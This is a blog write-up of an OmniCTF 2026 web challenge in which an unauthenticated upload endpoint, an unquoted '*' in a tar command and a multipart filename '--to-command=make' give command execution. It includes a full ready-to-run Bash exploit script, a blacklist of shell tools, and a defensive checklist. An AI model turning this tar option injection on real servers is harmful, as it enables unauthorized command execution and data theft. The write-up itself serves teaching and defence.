> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Stay Wild — OmniCTF 2026: From a Fake Frontend Restriction to GNU tar Wildcard Injection
- URL: https://taiwanding.com/en/stay-wild-omnictf-2026-gnu-tar-wildcard-injection-writeup/
- Published: 2026-07-20T07:24:11.000Z
- Updated: 2026-07-20T07:29:52.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

The fun of this challenge is that it stacks several individually-harmless oversights on top of one another: a hidden endpoint with no backend authorization, a `tar` command that hands user-supplied filenames straight to the Shell for `*` expansion, and a piece of server logic that deliberately preserves filenames beginning with `--`. Chain them together and you get a reliable RCE. Here's the full breakdown.

## Finding the Hidden Entry Point

The landing page looks like nothing more than an ordinary Wildlife Archive.

`robots.txt` doesn't list any hidden path directly; it only drops a hint:

```text
Field archive tooling is not ready for public indexing.

```

The tail end of `style.css` also contains styles that the landing page never uses at all:

```css
/* EXTRACT FIRST-UPLOAD PAGE */
.archive-form { ... }
.extract-panel { ... }

```

Which eventually leads to an entry point that never appears in the nav bar:

```text
/staging

```

The "hidden service" here isn't a Tor Hidden Service — it's just a staging endpoint with no public link pointing to it.

## The Staging Workflow

| Step                | Endpoint                   | Function                                        |
| ------------------- | -------------------------- | ----------------------------------------------- |
| First upload        | POST /staging              | Upload a .tar and create a workspace            |
| View results        | GET /staging/:id           | Show the extraction log and files               |
| Append data         | POST /additional/:id       | Drop additional files into the same workspace   |
| Clear appended data | POST /clear-additional/:id | Keep the initial tar, remove the appended files |

Once the first upload finishes, the server redirects to:

```text
/staging/1784378248308

```

The Workspace ID is really just:

```javascript
Date.now().toString()

```

## Problem #1: A Frontend-Only Restriction

On the results page, the Additional Upload feature is set to `disabled`, with a note right next to it:

```javascript
// Only for admins

```

But the code that enables the feature is just:

```javascript
window.enableExperimentalIntake = function () {
  document.querySelectorAll("[data-beta-upload]").forEach((el) => {
    el.removeAttribute("disabled");
  });
};

```

This is purely a browser-side UI restriction — the backend never checks for admin identity at all.

So there's no need to tamper with cookies or run JavaScript in the console. You can simply send:

```http
POST /additional/:id

```

and use the feature directly.

## GNU tar Wildcard Injection

### The Normal Way

```bash
tar -xvf archive.tar

```

Extracts only the specified archive.

### The Challenge's Way

The server actually runs:

```javascript
runWithPty(
  "tar -xvf " + shellQuote(archiveName) + " *",
  cwd,
  ...
);

```

which is:

```bash
tar -xvf "seed.tar" *

```

The dangerous part is the unquoted `*` at the end.

The Shell first expands that wildcard into every non-hidden file in the workspace:

```text
tar -xvf seed.tar Makefile seed.tar extra.tar

```

If one of those filenames begins with `--`:

```text
--to-command=make

```

the expanded result becomes:

```text
tar -xvf seed.tar --to-command=make Makefile seed.tar

```

GNU tar treats that filename as a command-line option rather than an ordinary file.

This is GNU tar Wildcard Option Injection.

## Why Does the Malicious Filename Survive?

The server source code even goes out of its way to preserve names starting with `--`:

```javascript
function shouldKeepExactName(name) {
  // Payload filenames must remain exact for the intended tar option injection.
  return name.startsWith("--");
}

```

Ordinary files get renamed on a name collision, but `--to-command=make` stays in the workspace untouched.

## First, Confirm Command Execution with id

Additional Upload only checks whether the MIME type is:

```text
application/x-tar

```

It doesn't require the appended filename to end in `.tar`.

So you can take a legitimate tar and change its multipart filename to:

```text
--to-command=id

```

The extraction log dutifully returns:

```text
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)

```

This proves we already have command execution with output.

## The Blacklist and the make Bypass

The challenge author knows `--to-command` is dangerous, so there's a very long string blacklist applied to the additional filename.

It includes:

```text
cat, sh, bash, python, perl, node, php
curl, wget, base64, grep, sed, awk
find, xargs, env, dd, tee
flag, seed, paw, opt, wild, cache

```

So all of the following names get blocked:

```text
--to-command=sh
--to-command=node
--to-command=xargs

```

But the blacklist missed:

```text
make

```

The real root cause isn't simply "they forgot to block make" — it's that the server hands an attacker-controlled filename to the Shell wildcard and then feeds it to GNU tar as an option.

The blacklist is just an easily-bypassed layer of filtering slapped on top of that underlying flaw.

## Using a Makefile to Read the Seed

When each workspace is created, the server sets up a few internal symlinks.

The most important of these is:

```text
.paw → /opt/wild/.cache/seed-574

```

The seed file holds a Base64-encoded flag.

The first upload's `seed.tar` only needs to contain an ordinary `Makefile`:

```makefile
all:
	@cat .paw

```

On the second upload, set the multipart filename to:

```text
--to-command=make

```

The flow of `--to-command=make` is:

```text
GNU tar extracts a regular file
        ↓
runs make
        ↓
make's working directory is the workspace
        ↓
make automatically looks for a Makefile
        ↓
runs the default all target
        ↓
cat .paw

```

Note that tar doesn't execute the Makefile directly, and make doesn't treat stdin as a shell script.

tar launches `make`, and `make` then reads the previously-extracted `Makefile` from the current directory.

## Full PoC

The whole block below can be pasted straight into Bash and run.

If the instance URL changes, set it first:

```bash
export STAYWILD_BASE='https://new-url'

```

then run the PoC.

```bash
bash <<'BASH'
set -Eeuo pipefail

BASE="${STAYWILD_BASE:-https://staywild-e11c10cbe476.inst.omnictf.com}"
BASE="${BASE%/}"

for bin in curl tar base64 grep awk mktemp head rm; do
    if ! command -v "$bin" >/dev/null 2>&1; then
        echo "[-] Missing command: $bin" >&2
        exit 1
    fi
done

TMP="$(mktemp -d -t staywild.XXXXXX)"

cleanup() {
    case "${TMP:-}" in
        /tmp/staywild.*)
            rm -rf -- "$TMP"
            ;;
    esac
}
trap cleanup EXIT

# The recipe in a Makefile must be preceded by a real Tab.
# Use printf's \t so it isn't turned into spaces when copied.
printf 'all:\n\t@cat .paw\n' > "$TMP/Makefile"

# The initial tar contains only a harmless Makefile.
tar -cf "$TMP/seed.tar" \
    -C "$TMP" Makefile

echo "[*] Creating staging workspace..."

STAGING_CODE="$(
    curl -ksS \
        --connect-timeout 10 \
        --max-time 30 \
        -D "$TMP/staging.headers" \
        -o "$TMP/staging.body" \
        -c "$TMP/cookies.txt" \
        -w '%{http_code}' \
        -H 'Expect:' \
        -F "file=@${TMP}/seed.tar;filename=seed.tar;type=application/x-tar" \
        "$BASE/staging"
)"

LOCATION="$(
    awk '
        tolower($1) == "location:" {
            gsub(/\r/, "", $2)
            location = $2
        }
        END {
            print location
        }
    ' "$TMP/staging.headers"
)"

if [[ -z "$LOCATION" ]]; then
    echo "[-] Server did not return a Workspace Location."
    echo "[-] HTTP status: $STAGING_CODE"
    echo
    head -c 2000 "$TMP/staging.body"
    echo
    exit 1
fi

LOCATION_PATH="${LOCATION%%\?*}"
LOCATION_PATH="${LOCATION_PATH%%\#*}"
LOCATION_PATH="${LOCATION_PATH%/}"
WORKSPACE_ID="${LOCATION_PATH##*/}"

if [[ ! "$WORKSPACE_ID" =~ ^[A-Za-z0-9_-]+$ ]]; then
    echo "[-] Unexpected Workspace ID: $WORKSPACE_ID" >&2
    exit 1
fi

echo "[+] Workspace ID: $WORKSPACE_ID"
echo "[*] Triggering GNU tar option injection..."

# The uploaded content is still a valid tar, but the multipart filename becomes a GNU tar option.
# The same seed.tar can simply be reused.
ADDITIONAL_CODE="$(
    curl -ksS \
        --connect-timeout 10 \
        --max-time 30 \
        -b "$TMP/cookies.txt" \
        -c "$TMP/cookies.txt" \
        -o "$TMP/additional.body" \
        -w '%{http_code}' \
        -H 'Expect:' \
        -F "file=@${TMP}/seed.tar;filename=--to-command=make;type=application/x-tar" \
        "$BASE/additional/$WORKSPACE_ID"
)"

# An omniCTF prefix, once Base64-encoded, starts with b21uaUNURn.
ENCODED="$(
    grep -oE 'b21uaUNURn[A-Za-z0-9+/]*={0,2}' \
        "$TMP/additional.body" |
        head -n 1 ||
        true
)"

if [[ -z "$ENCODED" ]]; then
    echo "[-] Base64 seed was not found."
    echo "[-] Additional-upload HTTP status: $ADDITIONAL_CODE"
    echo
    echo "----- Server response -----"
    head -c 3000 "$TMP/additional.body"
    echo
    exit 1
fi

DECODED="$(
    printf '%s' "$ENCODED" |
        base64 -d 2>/dev/null ||
        true
)"

FLAG="$(
    printf '%s' "$DECODED" |
        grep -oE 'omniCTF\{[^}]+\}' |
        head -n 1 ||
        true
)"

if [[ -z "$FLAG" ]]; then
    echo "[-] Seed was found but did not decode into the expected Flag."
    echo "[*] Encoded seed: $ENCODED"
    echo "[*] Decoded value: $DECODED"
    exit 1
fi

echo
echo "[+] Encoded seed: $ENCODED"
echo "[+] FLAG: $FLAG"
BASH

```

## Execution Result

```text
[*] Creating staging workspace...
[+] Workspace ID: 1784378248308
[*] Triggering GNU tar option injection...

[+] Encoded seed: b21uaUNURnt3MWxkYzRyZHNfY2FuX2czdF93MWxkfQ==
[+] FLAG: omniCTF{Redacted}

```

## The Complete Attack Chain

```text
Find the unlinked /staging
        ↓
Upload a seed.tar containing a Makefile
        ↓
Obtain a predictable Workspace ID
        ↓
Call /additional/:id directly — no backend auth check
        ↓
Set the multipart filename to --to-command=make
        ↓
The Shell expands * into a malicious tar option
        ↓
GNU tar launches make
        ↓
make runs the Makefile: cat .paw
        ↓
Obtain the Base64 seed
        ↓
Base64-decode it
        ↓
Recover the flag

```

## Where Are the Bugs?

### 1\. Frontend Access Control

```text
disabled button ≠ backend authorization

```

The additional endpoint never verifies the user's role or the workspace's ownership.

### 2\. Shell Wildcard Option Injection

```bash
tar -xvf "archive.tar" *

```

An attacker-controlled filename reaches GNU tar's options by way of `*`.

### 3\. Preserving Option-Style Filenames

```javascript
name.startsWith("--")

```

The server deliberately preserves the most dangerous filename format.

### 4\. Blacklist Defense

Blocking a mountain of commands still can't enumerate every exploitable binary, and `make` became the way through.

### 5\. Predictable IDs and IDOR

```javascript
Date.now().toString()

```

`GET /staging/:id`, along with the additional and clear endpoints, all lack any owner verification.

This isn't a step the main exploit has to rely on, but it does expose other people's workspaces and logs to unauthorized access.

## A Practical Checklist

When you run into an archive-upload challenge, check for:

1. Does the backend invoke `tar`, `zip`, or `unzip` through the Shell?
2. Does the command use an unquoted `*`?
3. Can an uploaded filename begin with `-` or `--`?
4. Does the server preserve the original user-supplied filename?
5. Do tar members and multipart filenames use different validation rules?
6. Do frontend-disabled features lack backend authorization?
7. Is the Workspace ID predictable and free of owner verification?
8. Can the blacklist be bypassed with another interpreter, build tool, or system binary?